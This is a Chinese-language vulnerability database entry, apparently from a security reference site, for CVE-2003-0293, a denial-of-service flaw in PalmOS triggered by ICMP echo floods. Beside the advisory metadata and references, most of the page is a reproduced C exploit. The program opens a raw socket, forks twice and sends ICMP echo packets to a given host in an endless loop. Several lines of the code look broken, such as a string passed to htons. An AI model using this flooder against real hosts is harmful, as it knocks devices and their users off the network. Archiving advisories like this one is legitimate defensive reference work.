PalmOS服务拒绝漏洞

PalmOS服务拒绝漏洞

漏洞ID 1107325 漏洞类型 未知
发布时间 2003-05-14 更新时间 2003-06-16
图片[1]-PalmOS服务拒绝漏洞-安全小百科CVE编号 CVE-2003-0293
图片[2]-PalmOS服务拒绝漏洞-安全小百科CNNVD-ID CNNVD-200306-059
漏洞平台 Palm_OS CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/22602
https://www.securityfocus.com/bid/86908
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200306-059
|漏洞详情
PalmOS存在漏洞。远程攻击者借助ICMP回应请求(ping)数据包的flood导致服务拒绝(CPU消耗)。
|漏洞EXP
source: http://www.securityfocus.com/bid/7597/info

A problem with PalmOS may result in a denial of service.

It has been reported that PalmOS becomes unstable when flooded with ICMP ECHO_REQUEST traffic. A remote attacker can trigger a device lockup condition or cause the Palm OS device to loose network connectivity.

This could allow a remote attacker to deny service to legitimate users of a PalmOS device that is connected to a network. 

#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <host>n", argv[0]);
                exit(0);
        }

        int sock;
        char packet[2000];
        struct sockaddr_in dest;
        struct hostent *host;
        struct iphdr *ip = (struct iphdr *) packet;
        struct icmphdr *icmp = (struct icmp *) packet + sizeof(struct iphdr);
        if((host = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve host!n");
                exit(-1);
        }

        if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) {
                printf("Couldn't make socket!n");
                printf("You must be root to create a raw socket.n");
                exit(-1);
        }

        dest.sin_family = AF_INET;
        dest.sin_addr = *((struct in_addr *)host->h_addr);
        ip->ihl = 5;
        ip->id = htons(1337);
        ip->ttl = 255;
        ip->tos = 0;
        ip->protocol = IPPROTO_ICMP;
        ip->version = 4;
        ip->frag_off = 0;
        ip->saddr = htons("127.0");
        ip->daddr = inet_ntoa(dest.sin_addr);
        ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr);
        ip->check = 0;
        icmp->checksum = 0;
        icmp->type = ICMP_ECHO;
        icmp->code = 0;
        printf("Ping flooding %s!n", argv[1]);
        fork();
        fork();
        while(1) {
                sendto(sock, packet, ip->tot_len, 0,(struct sockaddr *)&dest, sizeof(struct sockaddr));
        }
        return(0);
}
|受影响的产品
Palm Palmos 0
|参考资料

来源:BUGTRAQ
名称:20030514PalmOSICMPfloodDoS.
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105293128612131&w;=2

相关推荐: PHP-Nuke泄露密码漏洞

PHP-Nuke泄露密码漏洞 漏洞ID 1205797 漏洞类型 未知 发布时间 2001-05-03 更新时间 2001-05-03 CVE编号 CVE-2001-0292 CNNVD-ID CNNVD-200105-059 漏洞平台 N/A CVSS评分 …

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享